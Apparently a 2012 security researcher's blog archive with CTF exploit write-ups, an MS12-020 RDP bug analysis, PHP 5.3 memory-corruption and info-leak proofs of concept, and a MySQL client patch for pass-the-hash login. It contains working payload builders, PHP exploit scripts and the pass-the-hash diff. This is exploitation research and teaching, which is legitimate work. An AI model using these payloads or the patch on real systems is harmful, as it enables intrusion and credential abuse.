Thursday, May 3, 2012

Plaid CTF 2012 - Secure FS

The binary file is stripped 64 bit PIE. If looking in .comment section, we can guess the executable was compiled on Debian 6. With the given libc, we can confirm the guess. The given libc matches the debian libc package version must be 2.11.3-2 (luckily I do not update this vm). So my solution (exploit) is only for Debian 6 with given libc.

Reversing

From strings command result, we see that the executable uses C++ STL. So many unknown functions are C++ STL code. Because executable was not compiled with optimization. We can write the code that use C++ STL and compile it. The assembly should be the same. From known C++ STL function, we know that the executable uses string, list, map. I write simple C++ code to use all these STL (template.cpp). I cannot make IDA FLAIR to build the signature on Linux x64 binary. So I write a script to map the C++ STL (mapstl.py).

$ g++ -o template template.cpp
$ objdump -C -d template > template.objdump.txt
$ objdump -C -d sfs > sfs.objdump.txt
$ python mapstr.py > map.txt

The result (map.txt) is not completed. Some function cannot be mapped. But with this result, reversing is much easier. Here is the reversing code (sfs.cpp sfs2.cpp).

Vulnerability

From code, I found only one bug in "ln" function. The FileData object is deleted if "linkname" is invalid path but File object is still point to it. So this is user-afer-free bug.

user@/$ create file xor a
Data: AAAABBBB
user@/$ cat file
    ####
user@/$ ln file /x/x
Invalid path.
user@/$ cat file
▒▒▒0
user@/$ ln file /x/x
Invalid path.
*** glibc detected *** ./sfs: double free or corruption (!prev): 0x00007f4432e8e1f0 ***
======= Backtrace: =========
...

From above output, this bug can be used for information disclosure. We can "cat" after deleting a file to read data from freed memory.

Exploitation

Because of ASLR and PIE, let start with information disclosure. If we "cat" a file after trigger a bug first time, we get the address in libc .bss section because it is the first large free chunk. So we get libc loaded address. Next, std::list is used in function. Its object is allocated on stack. If a next list is allocated on freed memory, we will see the stack address because there is a pointer that points back to object on stack.

Time to controlling rip. The obvious method is overwriting vftable in freed FileData. But there is no suitable object to replace the freed memory for controlling vftable. I thought about string buffer in std::string. It is possible but I do not want to dig into C++ STL. So I come up with allocating 2 consecutive FileData objects in heap like below.

+--------------------+--------------------+
|         b3         |         b4         |
+--------------------+--------------------+

I trigger a bug to delete "b3" and "b4". Next, doing some task to allocate some data on "b3". Then, creating a new file "evil" to allocate FileData on "b3" and "b4". So I can get heap layout on freed "b3" and "b4" like below.

+--------------------+--------------------+
|  any  |        evil        |    free    |
+--------------------+--------------------+

After getting above heap layout, I can use "edit" command on "evil" to modify vftable pointer of b4 FileData easily. To get this, just do following commands.

do_create(sk, "b1", "xor", "AAAA", "a"*4000)
do_create(sk, "b2", "xor", "BBBB", "a"*4000)
do_ln(sk, "b1", "/xx/yy") # create a hole to hold small data
do_create(sk, "b3", "xor", "CCCC"*100, "a"*4000)
do_create(sk, "b4", "xor", "DDDD"*100, "a"*4000)
do_create(sk, "b5", "xor", "EEEE"*100, "a"*4000)
do_ln(sk, "b3", "/xx/yy")
do_ln(sk, "b4", "/xx/yy")
# ... fill memory here ...
do_create(sk, "evil", "xor", "E", "a"*4000)

I also create one more file after "b4" (below) in order to get the address of controlled data (FileData object). If I create a file after creating "evil", a FileData object is not fit to "free" chunk but a File object does. So I can use "cat" command on "b4" to get the address of FileData object from File object in "free" chunk.

+--------------------+--------------------+--------------------+
|  any  |        evil        |    free    |         b5         |
+--------------------+--------------------+--------------------+

At this point, I can control rip and have controlled data. But I cannot find any gadget for pivoting rsp to controlled data.

We can modify FileData pointer in File object by "edit"ing "b4". So we can read data from any valid memory address. After modify "b5" File object, we might not be able to edit "b5" because vftable pointer might point to invalid vftable.

do_edit() receives input with getline() then calls encrypt() with vftable. Because I know the stack address, I can compute the saved rip address of getline(). I modify "b5" FileData pointer in File object to point to saved rip address minus 8. So getline() fills the input to its saved rip address and after. Now I control rip and rsp points to controlled data.

Then, I do a small ROP to call execv(). Finally, Pwned!. Here is my exploit (sfs_sol.py).

UPDATE:

I got reply from "@riczho"

@sleepya_ Nice writeup! You found a bug that I put in by mistake - it was supposed to be integer wraparound on the hard link count :-)

I forgot to reversing one block in do_ln(). So the bug was supposed to be triggered by doing hard link 256 times, then removing a file. It is still user-after-free on freed FileData object. The idea to exploit is still the same. Here is a updated reversed code (sfs2.cpp).

Monday, March 26, 2012

Understand MS12-020

I saw many misunderstanding about MS12-020 bug. Here is my quick explanation (hope it is clear). There are 2 bugs for this bulletin. One is RCE (CVE-2012-0002). Another one is DoS (CVE-2012-0152). I use the diff result from work of people in IRC (freenode#MS12-020) http://pastie.org/private/4egcqt9nucxnsiksudy5dw.

Understand User and Channel in RDP

The User and Channel words explain themselves. A client can create a user by sending "MCS Attach User Request" (see the sequence) to server. When creating a user, a server also create a channel for user. This channel is called "User Channel". The assigned user id is always the same as channel id. There is special user that created by sending "MCS Connect Initial" request with "Client Network Data". It is "Server User" that created along with "Server Channel".

Channels can be created by sending "MCS Connect Initial" request with "Client Network Data" or "MCS Channel Join Request" with channel id 0.

Now let see how a server keeps track of Users and Channels. There are global Channel list and global User list (SList) for each connection. For each channel, there is a list to keep joined users. Similar to user. For each user, there is a list to keep joined channels.

CVE-2012-0002

There are 2 specific advisories for this CVE, Luigi and ZDI. This bug occurs while adding channels (in NM_Connect()) specified in "Client Network Data". When a server cannot create more channel (by checking a number of channel in Channel list with MaximumChannelIds), the NMAbortConnect() is called. When look inside SM_OnConnected(), you will see NM_Disconnect() is called. Then NMDetachUserReq() is called twice. So this is use-after-free bug.

You can see Kostya's work of this bug from his blog (MS12-020 round up). Additional, the bug can be triggered even MaximumChannelIds > 32 by sending "Connect Initial" request and "Attach User" requests at once. Because userData in "Connect Initial" is dispatched to another thread for processing (my guess). The "Attach User" requests are processed first. So a number of channel is Channel list is not 0 before processing the "Client Network Data".

Now the idea to controlling EIP is doing remote memory spray on svchost process with RDP requests. The difficulty is all RDP request is handled directly in driver (kernel mode). Only some data is copied to user mode memory space. I still cannot do it. Need more free time.

CVE-2012-0152

There is only 1 advisory from Microsoft, this is a DoS bug. Many people guess the bug is in HandleAttachUserReq(). But I think it is in MCSChannelJoinRequest(). Here is my reason.

User Channel is supposed to be joined only by user owner. But the bug in MCSChannelJoinRequest() allow it. So the change is comparing request channel id against request user id instead of request channel id. This bug seems to have no problem at first. But when removing user (DetachUser()), the User Channel is destroyed too. If User does not join its own channel, the channel is destroyed without removing joined users.

To trigger the bug is simple. First we send 2 "Attach User" requests. So we have userA and userB with channelA and channelB. Then we send a "Channel Join" request for userA with channelB. If we manage to removing userB before userA, channelB is destroyed while joined channel list in userA still have channelB. Then removing userB will try to remove itself from destroyed channelB. Boom!!

This is also user-after-free bug. But I cannot find any interesting operation on freed channel. So I guess this is a DoS bug. Some useful for this bug is safe remote detecting the vulnerabilities on a target. Here is my code for checking.

Sunday, February 5, 2012

Mini-PoC for PHP 5.3.9 RCE (CVE-2012-0830)

As topic said mini, it is mainly my idea (+some code) to exploit this bug. I still cannot do real code execution now. Looking at diff patch, it is obvious there is a bug when input is array and the number of input equals max_input_vars. Here is full vulnerable function. I will show only related code.

/* ... */
if (is_array) {
    while (1) {
        /* ... */
        if (zend_symtable_find(symtable1, escaped_index, index_len + 1, (void **) &gpc_element_p) == FAILURE // [1]
            || Z_TYPE_PP(gpc_element_p) != IS_ARRAY) { // [2]
            if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [3]
                if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
                    php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
                }
                MAKE_STD_ZVAL(gpc_element);
                array_init(gpc_element);
            }
            zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
        }
        /* ... */
        symtable1 = Z_ARRVAL_PP(gpc_element_p); // [4]
        /* ... */
        goto plain;
    }
} else {
plain_var:
    MAKE_STD_ZVAL(gpc_element);
    gpc_element->value = val->value;
    Z_TYPE_P(gpc_element) = Z_TYPE_P(val);
    /* ... */
    if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [5]
        if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
        }
        zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); // [6]
    } else {
        zval_ptr_dtor(&gpc_element);
    }
    /* ... */
}

At [3], if a number of elements in array equals max_input_vars, program still continues looping. When program reachs [4], the 'gpc_element_p' is treated as array (no type check). But it might not be array if the program did not go inside [3]. That is a problem.

When looking closely at [1] and [2], the code at [1] might find the element but it is not array. The element must be string because all input are treated as string or array. Also the element is our input that parsed before the max_input_vars condition met. Then At [4], our string is treated as array. So we can create fake HashTable. If our input name does not have more array nest, the PHP will go to [5]. Then inserting/updating input into fake array at [6].

To control EIP/RIP, there is 'pDestructor' in HashTable struct. If we can make PHP removing a element inside this HashTable, the program will jump to 'pDestructor' address. Easy??. All we need is 'arBuckets' must point to valid address that has NULL value (check _zend_hash_index_update_or_next_insert() in zend_hash.c).

Because PHP filter extension is enabled by default (compile option), the php_register_variable_ex() is called twice for each input but different array. So first time for filter array, the input is inserted into fake array. Then the array is updated and 'pDestructor' will be called. Below is input for controlling EIP/RIP.

1=&2=&3=&...&999=&0=<fake HashTable with valid arBuckets address>&0[0]=

Because of ASLR+NX(+PIE), just controlling EIP is useless. I need some info leak. Here is my result for 32 bit only (php_rce_poc.py) (I debugged the PHP with PHP-FPM).

First, there is some PHP page on server that has code like this.

<?php
echo $_POST['a']."\n";
for ($i = 0; $i < 8192; $i++)
    echo " "; // to make PHP flush the buffer output

When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. But the trigger input will be inserted for filter array first, so the input will be updated for $_POST array. This is bad because updating is modified only 'pDataPtr' in 'Bucket' struct.

What I did is creating fake HashTable, arBuckets, Bucket in an input instead of HashTable only. If I guess the address correctly, the 'pDataPtr' in fake Bucket will be updated. To increase the chance, I create multiple fake arBuckets and Buckets (see create_big_fake_array_search() in my code). When allocating big memory block, it is always allocated outside main heap (And address always ending with 0x018 on my box). After this brute forcing, I got the start address of fake data and a heap address of latest element.

Just a heap address is not enough for code execution. I need more. When looking updating data in array code (below), I found something interesting. If 'pData' does not point 'pDataPtr', 'pData' will be freed first.

#define UPDATE_DATA(ht, p, pData, nDataSize)           \
    if (nDataSize == sizeof(void*)) {                  \
        if ((p)->pData != &(p)->pDataPtr) {            \
            pefree_rel((p)->pData, (ht)->persistent);  \
        }                                              \
        memcpy(&(p)->pDataPtr, pData, sizeof(void *)); \
        (p)->pData = &(p)->pDataPtr;                   \
    }

If I set 'pData' in fake Bucket to the address of $_POST['a'] (zval struct). It will be freed. Then, I trick PHP to allocate craft string on that memory area. Finally, I can alter zval struct of $_POST['a'] to point to any address and the PHP code will echo the data in that memory area to me. But after altering the zval struct, the PHP will crash when clearing all variables. That's why I add the PHP code for flushing the output.

I can trick PHP to allocate on just freed memory area because in php_sapi_filter(), the estrndup() is called (at line 479) almost immediately after called php_register_variable_ex() (at line 461). With the Zend Memory Management Cache that I described a little in this post, all I need to do is using the trigger input value to be fake zval struct.

I still cannot find the way to know the exact address of $_POST['a']. I do brute forcing again. I know the heap address. It must be near. I test the result from dumping my fake HashTable. My method for brute forcing $_POST['a'] address is not reliable. Especially when PHP-FPM has many children.

Here is my output (code again php_rce_poc.py)

$ python php_rce_poc.py
Trying addr: b6c00018
Trying addr: b6c40018
Trying addr: b6c80018
Trying addr: b6cc0018
Trying addr: b6d00018
Trying addr: b6d40018
Trying addr: b6d80018
Trying addr: b6dc0018

Fake addr: b6dc0018
Heap addr: 08fe3180

Bruteforcing param_addr...
param addr: 08fe30a0
dumping memory at 0x08048000
⌂ELF☺☺☺         ☻ ♥ ☺   04

After able to dump any memory address + controlling EIP/RIP, it is highly possible to do code execution. That's it for me.

Update (5 Feb 2012): a little change on my code (php_rce_poc2.py).

  • Increase the search fake chunk range to make it work on apache2/mod_php5
  • Dump data at least 8192 bytes. So no need the PHP code for flushing output buffer.

Monday, January 30, 2012

GitS 2012 - 21 Fortress (Pwnable 500) Writeup

I cannot solve this challenge in time. The binary is 32 bit DSO. When I open it with IDA, the assembly is a mess. I could not understand the code. After doing some debugging, I figured something out.

Normally, the x86 uses ESP and EBP for stack pointer and frame pointer respectively. But this binary uses EBX for stack pointer and ECX for frame pointer. Another different is stack grow from lower address to higher address. So stack layer for this program looks like below.

+-----------+  low address
|   arg n   +             
+-----------+             
+    ...    +             
+-----------+             
+   arg 1   +             
+-----------+             
+ saved eip +             
+-----------+  <=== ecx   
+ saved ecx +             
+-----------+             
+           +             
+ local var +             
+           +  <=== ebx   
+-----------+ high address

Other important things are

  • The program uses ESI register to keep the Entry Point address in memory.
  • All saved eip and pointers to function are obfuscated. The XOR key is at ESI+4248h (or offset 434fh).
  • The assembly for call function is similar to below
    lea     ebp, [esi+21Ch]  ; address to return after function
    lea     esp, [esi+4248h] ; get xor key
    xor     ebp, [esp]       ; obfuscate return address
    lea     ebx, [ebx+4]     ; shift ebx to save return address
    mov     [ebx], ebp       ; save return address
    
  • The assembly for function prologue is similar to below
    lea     ebx, [ebx+4]  ; shift ebx to save prev frame pointer
    mov     [ebx], ecx    ; save ecx (prev frame pointer)
    mov     ecx, ebx      ; move frame pointer
    add     ebx, 10h      ; add stack pointer for local var
    
  • The assembly for function epilogue is similar to below (do as leave; ret)
    lea     edi, [esi+4248h] ; get xor key address
    mov     ebp, [edi]       ; get xor key
    mov     ebx, ecx         ; restore stack pointer
    mov     ecx, [ebx]       ; restore frame pointer
    lea     ebx, [ebx-4]     ; remove saved frame pointer
    xor     ebp, [ebx]       ; deobfuscate saved eip
    lea     ebx, [ebx-4]     ; remove saved eip
    jmp     ebp              ; go to return addr
    

After known all above, I search for the functions with msfelfscan. Here is the result included the function name after I read assembly code (fortress_func_list.txt).

$ msfelfscan -I 0 -r "\x8d\x5b\x04\x89\x0b\x8b\xcb" fortress
[fortress]
...

Then I reverse the assembly (took me about 5 hours). Here is my C code (fortress.c). I found 2 vulnerabilities in put_property() function.

struct Property {
    char address[128]; // 0h
    char name[32];  // 80h
    void* fn_show_detail; // 0A0h
    int price; // 0A4h
    int sell_price: // 0A8h
    int footage; // 0ACh
    int num_bedroom; // 0B0h
    int num_bathroom; // 0B4h
    struct Property* prev; // 0B8h
    struct Property* next; // 0BCh
}; // size 0xc0

void put_property()
{
    /* ... */

    print_str("\nProperty name: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len > 32) {
        print_str("Name too long\n");
        free(prop);
        return;
    }
    buffer[read_len] = '\0';
    strncpy(prop->name, buffer, 32);  // [1] BUG: no null terminated

    print_str("Address line 1: ");
    read_len = read_until(buffer, 128, '\n');
    if (read_len >= 128) {
        print_str("Address too long\n");
        free(prop);
        return;
    }
    buffer[read_len] = '\n';
    print_str("Address line 2: ");
    data_len = read_len + 1;
    // [2] BUG: integer overflow if address1 length is 127. below len will be 127-128=-1
    read_len = read_until(buffer + data_len, 127 -  data_len, '\n');
    buffer[data_len + read_len] = '\n';
    strncpy(prop->address, buffer, 128);

    /* ... */
}

First vuln [1] can be used for leak memory address (fn_show_detail and prev). Second vuln [2] is buffer overflow. It can be used to overwrite saved eip of read_until() stack frame (the stack is grown to higher address). But we need to be careful the 'len' and 'size' arguments because the read_until() function uses value from argument. So to make Fortress a Segmentation Fault, we need to put "address 1" 127 characters and "address 2" 340 characters followed by new delimiter and big length. See below (Note: 'DDDD' overwrites the saved eip).

Address line 1: AAA... (127 chars)
Address line 2: AAA... (340 chars) ZtttBBBBCCCCDDDDZ
Segmentation fault

Exploitation

Because of ASLR and obfuscated address, we need to leak some info first. I use the first bug. Also I put 'price', 'footage', 'num_bedroom', 'num_bathroom' to has no \x00 in memory then sell it to make it prints 'prev' value (the Property struct address in heap) too. The 'fn_show_detail' value is obfuscated, so we can use it to create valid obfuscated address to binary (key^A^A^B = key^B).

To get the real XOR key, I tried to use printf() but it is limited. I cannot use '$' and non-overwritten area is very far. Then, I found something similar to 'ret' in normal code. It is last 3 instructions in function epilogue. To make it like 'pop; ret', use last 4 instructions.

lea     ebx, [ebx-4]     ; remove saved frame pointer
xor     ebp, [ebx]       ; deobfuscate saved eip
lea     ebx, [ebx-4]     ; remove saved eip
jmp     ebp              ; go to return addr

I used 'ret' and printf() to dump stack value from previous stack frame. And I let program jump to function epilogue after calling printf() to return controlling to program and overflow it again.
Note: The 'prop_addr' is address of Property struct in heap (leak from above). I put format string in there.

"""
LOAD:000001A1                 lea     ebx, [ebx-4]
LOAD:000001A4                 xor     edi, [ebx]
LOAD:000001A6                 lea     ebx, [ebx-4]
LOAD:000001A9                 jmp     edi

LOAD:000028D6                 lea     ebx, [ebx-4]
LOAD:000028D9                 xor     edi, [ebx]
LOAD:000028DB                 lea     ebx, [ebx-4]
LOAD:000028DE                 jmp     edi
"""
payload = ""
payload += pack("<I", prop_addr) # printf arg
payload += pack("<I", leaveret_addr^xor_key) # return control to program
payload += pack("<I", print_addr^0x1a1) # printf
payload += "\x00\x00\x00\x00"*80
payload += "\xfeAAA" # skipped (delim)
payload += pack("<I", 0x28d6^0x1a1) # need to be > 360 (length param)
payload += pack("<I", 0) # skipped
payload += pack("<I", 0x28d6 ^ xor_key)
payload += "\xfe"
payload = "A"*(357-len(payload)) + payload

# put property for leak image_load_addr and real_xor_key
send_and_recv_prompt(sk, "3\n") # put property
send_and_recv_prompt(sk, "2\n") # commercial
send_and_recv_prompt(sk, "1\n") # name
send_and_recv_prompt(sk, "A"*127+"\n") # addr1
data = send_and_recv_prompt(sk, payload) # addr2

Got the non-obfuscated address of string in binary :]. Now I can find image load address and real XOR key. After got all needed information, just do the same method as above. But call to mmap2() with RWX permission and read_until() instead of printf(). Finally jump to shellcode. Pwned!!!

Here is my exploit (fortress.py). It is not 100% work because the obfuscation might get bad char '\n'.

$ python fortress.py
xor_key = 56e45ea0
prop_addr = b78a7004
image_load_addr = b78cc000
real_xor_key = e1689ea0
uid=1001(fortress) gid=1001(fortress)

fortress
key

Information disclosure becomes the most wanted

Saturday, January 21, 2012

PHP Array Interruption Bug due to call-time-pass-by-reference

I also reported this bug via e-mail a few months ago. Bug no fixed :[.

Affected versions: 5.3.x
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.

Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.

Normally in PHP functions, the array is iterated with zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward() or zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex() functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling convert_to_xxx_ex() function, the array elements might be altered and the pointers in PHP function might point to invalid data.

The pseudocode structure that has this problem is shown below.

zend_hash_internal_pointer_reset(input)
loop:
    zend_hash_get_current_data(input, entry)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward(input)

Because zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward() use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.

zend_hash_internal_pointer_reset_ex(input, pos)
loop:
    zend_hash_get_current_data_ex(input, entry, pos)
    //...
    convert_to_xxx_ex(**entry)  // <== interruption is here
    //...
    zend_hash_move_forward_ex(input, pos)

While zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex() use external pointer ('pos' in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.

Below is PoC for dump memory at any address with implode() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr1'][0]);
        unset($GLOBALS['arr1'][1]);
        // dump memory at 0x08048000
        $GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '';
    }
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);

Below is PoC for memory corruption with array_combine() (32 bit only).

<?php
class dummy {
    public function __toString() {
        unset($GLOBALS['arr2'][0]);
        $GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
        return '0';
    }
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff

Here is the list of PHP functions that I found the problem.

====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array

*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode

*** memory corruption ***
- array_combine

Interruption in PHP substr_replace()

I reported this bug a few months ago (#55871). You can see simple PoC in test script in bug page. It has been fixed only in 5.4 branch. The main use of this bug is for post exploitation as discussed in Stefan Esser’s slide and paper. For anyone who does not know about internal PHP structures, please read them from the Stefan Esser's paper or slide first because I will not cover them here.

Affect Version: 5.3.x

First, I will explain as I did in test script. The code for substr_replace() is long. Here is the link to the vulnerable code string.c. Below I show only related part.

PHP_FUNCTION(substr_replace)
{
    // ...
    // if a parameter is an array, no conversion at the beginning of function
    // ...
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        // ...
    } else { /* str is array of strings */
        // ...
        while (zend_hash_get_current_data_ex(Z_ARRVAL_PP(str), (void **) &tmp_str, &pos_str) == SUCCESS) {
            zval *orig_str;
            zval dummy;
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                dummy = **tmp_str;
                orig_str = &dummy;
                zval_copy_ctor(orig_str);
                convert_to_string(orig_str);
            } else {
                orig_str = *tmp_str; // [1]
            }

            // get and check 'from' value to 'f' (convert_to_long if needed)
            // get and check 'len' value to 'l' (convert_to_long if needed)
            // ...
            if ((f + l) > Z_STRLEN_P(orig_str)) {
                l = Z_STRLEN_P(orig_str) - f;  // [2]
            }

            result_len = Z_STRLEN_P(orig_str) - l;

            if (Z_TYPE_PP(repl) == IS_ARRAY) {
                if (SUCCESS == zend_hash_get_current_data_ex(Z_ARRVAL_PP(repl), (void **) &tmp_repl, &pos_repl)) {
                    zval *repl_str;
                    zval zrepl;
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zrepl = **tmp_repl;
                        repl_str = &zrepl;
                        zval_copy_ctor(repl_str);
                        convert_to_string(repl_str);  // [3] interruption
                    } else {
                        repl_str = *tmp_repl;
                    }

                    result_len += Z_STRLEN_P(repl_str);
                    zend_hash_move_forward_ex(Z_ARRVAL_PP(repl), &pos_repl);    
                    result = emalloc(result_len + 1);

                    memcpy(result, Z_STRVAL_P(orig_str), f);
                    memcpy((result + f), Z_STRVAL_P(repl_str), Z_STRLEN_P(repl_str));
                    memcpy((result + f + Z_STRLEN_P(repl_str)), Z_STRVAL_P(orig_str) + f + l, Z_STRLEN_P(orig_str) - f - l); // [4]
                    if(Z_TYPE_PP(tmp_repl) != IS_STRING) {
                        zval_dtor(repl_str);
                    }
                } else {
                    // ...
                }
            } else {
                // ...
            }

            result[result_len] = '\0';
            add_next_index_stringl(return_value, result, result_len, 0);
            if(Z_TYPE_PP(tmp_str) != IS_STRING) {
                zval_dtor(orig_str);  // [5]
            }
            zend_hash_move_forward_ex(Z_ARRVAL_PP(str), &pos_str);
        } /* while */
    } /* if */
}

At [1], if 'tmp_str' is string, the 'tmp_str' and 'orig_str' points to the same zval. After this point, the program assumes the 'orig_str' type is string.

At [3], if 'repl_str' is object, the convert_to_string() will call __toString() magic method. So if we pass the 'str' by reference with call-time-pass-by-reference feature or reference in array (see below), we can access/modify 'orig_str' value inside __toString().

At [5], because of interruption at [3], we can trick the program to free memory that variable has reference to it (use-after-free). Now look at first PoC.

<?php
class dummy {
    public function __toString() {
        //$GLOBALS['my_var'] += 0x08048000; // dump memory at 0x08048000
        //$GLOBALS['my_var'] .= 'AAAAAAAA'; // buffer overflow
        preg_match('//', '', $GLOBALS['my_var']); // dump HashTable data (and use-after-free in >=5.3.7)
        return '';
    }
}
$my_var = str_repeat('A', 40);
$out = substr_replace(array(&$my_var), array(new dummy), 40, 0);

To dump memory at any address, just convert $my_var to integer (see why in zval struct). If we append string to $my_var, memcpy() at [4] will cause buffer overflow because length of 'orig_str' is modified after 'result_len' is computed.

The most interesting case is when $my_var is converted to array. We will get that HashTable struct. Also (for version >=5.3.7), the array (HashTable, Bucket, array of pointer to Bucket) is freed. So after calling substr_replace(), we just need to allocate manipulated string on deleted HashTable, Buckets and array of pointer to Bucket. Then, create the fake zval with length 0x7fffffff. Finally, we can read/write to any memory address.

To make exploit reliable for use-after-free (with my method), we need to understand Zend Memory Management Cache a little. The code is in Zend/zend_alloc.c. The important functions are _zend_mm_alloc_int() and _zend_mm_free_int(), only code related small size block. Here is the brief.

  1. When the efree() is called, the memory is not freed. But it is moved to free list cache.
  2. There are array of singly linked list to keep freed memory block. Each linked list keeps the same memory block size.
  3. When memory block is freed, it is moved to the head of linked list.
  4. When memory block is allocated, it is gotten from the head of linked list if linked list is not empty.

The plan is trying allocate string size same as HashTable, Bucket, arBuckets until they are allocated on freed array. Then use address from substr_replace() output to recover everything. Here is the code for 32 bit without suhosin patch.

<?php
class dummyht {
    public function __toString() {
        preg_match('//', '', $GLOBALS['my_var']);
        return "";
    }
}

// hashtable and bucket size is 40
$h = "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH0HHHH";
// arBuckets size is 32
$b = "ararararararararararararararar";
$fake_ht = "\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00".str_repeat("\x00", 23);
$fake_bk = str_repeat("\x00", 38);
$fake_arb = "ararararararararararararar";
$junk = array(0=>'0',1=>'1',2=>'2',3=>'3',4=>'4',5=>'5',6=>'6',7=>'7');
$str_arr = array('ht'=>"\x08", 'arBks'=>"\x00", 'bk0'=>"\x00");
$my_var = str_repeat("A", 80);
$data = 0;
$data = substr_replace(array(&$my_var), array(new dummyht), 80, 0);
$junk[0] .= $h;
$junk[1] .= $h;
$junk[2] .= $h;
$junk[3] .= $h;
$junk[4] .= $h;
$str_arr['ht'] .= $fake_ht;
$str_arr['bk0'] .= $fake_bk;
$junk[5] .= $b;
$junk[6] .= $b;
$junk[7] .= $b;
$str_arr['arBks'] .= $fake_arb;
$ht = parse_hashtable($data[0]);
// repair hashtable
for ($i = 16; $i < 32; $i++) $str_arr['ht'][$i] = $data[0][$i];
for ($i = 36; $i < 39; $i++) $str_arr['ht'][$i] = $data[0][$i];
// repair arBuckets
for ($i = 0; $i < 4; $i++) $str_arr['arBks'][$i] = $data[0][$i+4*4];
for ($i = 4; $i < 4*7; $i++) $str_arr['arBks'][$i] = "\x00";

// create $fake_zval string in tail of arBuckets
$fake_zval  = pack("I", $ht['arBuckets'] & 0x80000000);
$fake_zval .= pack("I", 0x7fffffff);
$fake_zval .= pack("I", 1);
$fake_zval .= "\x06\x00";

for ($i = 0; $i < strlen($fake_zval); $i++)
    $str_arr['arBks'][$i+4*4] = $fake_zval[$i];

// repair first bucket
$sptr = pack("I", $ht['pListHead'] + 4*3);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*2] = $sptr[$i];
$sptr = pack("I", $ht['arBuckets'] + 4*4);
for ($i = 0; $i < 4; $i++) $str_arr['bk0'][$i + 4*3] = $sptr[$i];

$mem = &$my_var[0];

With Suhosin patch, the above method to dump memory and dump HashTable does not work. Because the patch always set str.len value to 0 when clearing the string variable. At [4], the copy length will be negative but it will cast to unsigned for memcpy(). The workaround for this problem is use [2]. I pass parameter len as object to cause the interruption before [2]. After convert_to_long(), the 'len' and Z_STRLEN_P(orig_str) are 0. At [2], 'l' will be 0. Fix the problem :]. Here is the PoC.

<?php
class dummy {}
function errhandler() {
    $GLOBALS['my_var'] = ''; // to make it work when no suhosin patch
    preg_match('//', '', $GLOBALS['my_var']);
    return true;
}
$my_var = str_repeat('A', 40);
$oldhandler = set_error_handler("errhandler");
$out = substr_replace(array(&$my_var), '', 40, array(new dummy));

Wednesday, January 11, 2012

MySQL 323 Hash Pass-the-hash

This is just a note. This is a known old problem. If a password hash of MySQL user is hashed with OLD_PASSWORD() function or is imported from very old version, the hash is equivalent to password. You do not need to crack a hash to login to MySQL.

Here is my patch for libmysql_r/password.c for MySQL version 5.1.55.

--- password.c.orig     2012-01-11 21:32:02.644042061 +0700
+++ password.c  2012-01-11 21:33:30.676109909 +0700
@@ -191,6 +191,7 @@ void scramble_323(char *to, const char *
     char extra, *to_start=to;
     const char *message_end= message + SCRAMBLE_LENGTH_323;
     hash_password(hash_pass,password, (uint) strlen(password));
+    if (strlen(password) == 16) sscanf(password, "%8lx%8lx", &hash_pass[0], &hash_pass[1]);
     hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
     randominit(&rand_st,hash_pass[0] ^ hash_message[0],
                hash_pass[1] ^ hash_message[1]);

Here the commands to build only client.

$ ./configure --without-server
$ make